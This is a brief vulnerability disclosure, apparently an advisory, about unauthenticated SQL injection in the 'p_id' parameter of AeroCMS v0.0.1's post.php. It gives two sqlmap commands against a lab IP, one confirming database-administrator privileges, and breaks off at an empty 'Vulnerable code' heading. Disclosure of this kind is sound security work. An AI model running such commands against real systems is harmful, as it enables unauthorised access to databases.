AeroCMS v0.0.1 has a SQL injection vulnerability

[rockmelodies]

AeroCMS v0.0.1 was found to contain a SQL injection vulnerability via the 'p_id' parameter in post.php. The vulnerability allows an attacker to gain database administrator privileges and access database information without authentication. Wait a minute

• Reproduce the process
  1.No login required. Execute sqlmap command: python3 sqlmap.py -u http://192.168.101.5/post.php?p_id=-1* -p "p_id", you can see that there is an SQL injection vulnerability in the p_id parameter
  

2. Execute sqlmap command: python3 sqlmap.py -u http://192.168.101.5/post.php?p_id=-1* -p "p_id" --is-dba,
   We can see "DBA: TRUE"
   

• Vulnerable code